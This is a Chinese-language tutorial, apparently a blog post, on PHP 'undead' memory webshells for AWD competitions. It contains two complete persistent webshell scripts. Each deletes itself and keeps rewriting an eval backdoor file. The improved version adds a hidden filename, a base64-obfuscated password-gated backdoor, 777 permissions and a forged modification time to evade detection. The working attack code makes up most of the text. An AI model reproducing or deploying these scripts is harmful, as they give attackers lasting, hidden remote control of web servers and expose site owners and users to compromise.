什么是内存马

内存马是无文件攻击的一种常用手段,随着攻防演练热度越来越高:攻防双方的博弈,流量分析、EDR等专业安全设备被蓝方广泛使用,传统的文件上传的webShell或以文件形式驻留的后门越来越容易被检测到,内存马使用越来越多。

webShell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。
但传统的webShell都是基于文件类型的,攻击者可以利用上传工具或网站漏洞植入木马。
而其中的区别在于webShell内存马是无文件马,利用中间件进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

Java内存马可参考文章——一文看懂内存马

PHP内存马

PHP内存马,也叫做PHP不死马、不死僵尸,在线下AWD比赛中是常用手段之一,用于权限维持
在蚁剑中也有专门的插件可以一键注入内存马。原理也很简单,相对于Java可以直接把整个shell写入内存,php内存马的实现则是将一个木马反复写入,达到无法删除的目的。

不死马原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ignore_user_abort(true); //设置客户端断开连接时是否中断脚本的执行
set_time_limit(0); //设置脚本最大执行时间,linux下可能不大好用
unlink(__FILE__); //删除当前文件本身,以起到隐蔽自身的作用
$file = 'shell.php'; //文件名
$code = '<?php @eval($_POST["cmd"]);?>'; //恶意代码
while (1) {
if(!file_exists($file)) {
file_put_contents($file, $code); //打开file文件,然后写入code
}
usleep(100); //延迟执行可有可无
}
?>

上传之后,访问该页面,就会不断生成shell.php,我们就直接可以利用shell.php
但是原型有一个缺点:while里面只是判断了这个文件是否存在, 那么只要把文件中的shell注释掉就可以绕过你的内存木马了。

木马改进

在原型的基础上,我们可以进行改进一下

  1. 在文件前面加个点.在Linux系统中变成隐藏文件,用来隐蔽自己

  2. 为了防止被其他人利用,可以对恶意代码进行修改,用md5加密验证,或者其他利用方法验证,只要不让其他人搭顺风车都可以

    1
    2
    3
    4
    5
    <?php 
    if(md5($_GET["pwd"]) == "9003d1df22eb4d3820015070385194c8"){
    @eval($_REQUEST[cmd]);
    }
    ?>

    密码为pwd,只有参数pwd正确时,才可使用cmd参数

  3. 恶意代码进行一个base编码,绕过简单查杀

  4. 修改if语句内的判断,改为md5加密的内容匹配

  5. 赋予木马文件最高权限777

  6. 设置修改木马文件的修改时间

改进后示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = base64_decode('PD9waHAgCiAgICAgICAgaWYobWQ1KCRfR0VUWyJwd2QiXSkgPT0gIjkwMDNkMWRmMjJlYjRkMzgyMDAxNTA3MDM4NTE5NGM4Iil7ICAgICAgCiAgICAgICAgICAgIEBldmFsKCRfUkVRVUVTVFtjbWRdKTsKICAgICAgICB9IAogICAgPz4=');
while(true) {
if(md5(file_get_contents($file)) !== md5($code)) {
file_put_contents($file, $code);
}
system('chmod 777 '.$file);
touch($file, mktime(hour, minute, second, month, day, year));
usleep(100);
}
?>

以上都是一些思路,若还有其他补充的还请大佬赐教,可用于Awd比赛,切勿用于不法之地!